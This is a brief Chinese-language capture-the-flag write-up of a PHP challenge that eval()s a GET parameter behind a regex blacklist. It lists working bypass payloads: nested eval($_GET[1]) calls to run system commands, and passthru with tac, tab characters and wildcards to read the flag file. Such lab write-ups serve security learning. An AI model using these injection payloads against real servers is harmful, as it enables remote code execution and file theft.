仍然是代码审计
<?phperror_reporting(0);if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}//在此基础上对cat,sort,shell,.,空格,单引号进行过滤}else{highlight_file(__FILE__);}
这里可以构造
eval函数请求嵌套或者passthru函数进行绕过
?c=eval($_GET[1]);&1=system('ls');
#passthru函数
?c=passthru("ls");

- 嵌套函数可以无视正则过滤,但是第二种
passthru方法,cat被过滤了,还可以用tac,more,单引号被过滤用双引号,空格被过滤用tab键
```shell ?c=eval($_GET[1]);&1=system(‘cat flag.php’);
passthru函数
?c=passthru(“tac%09fla*”);
```

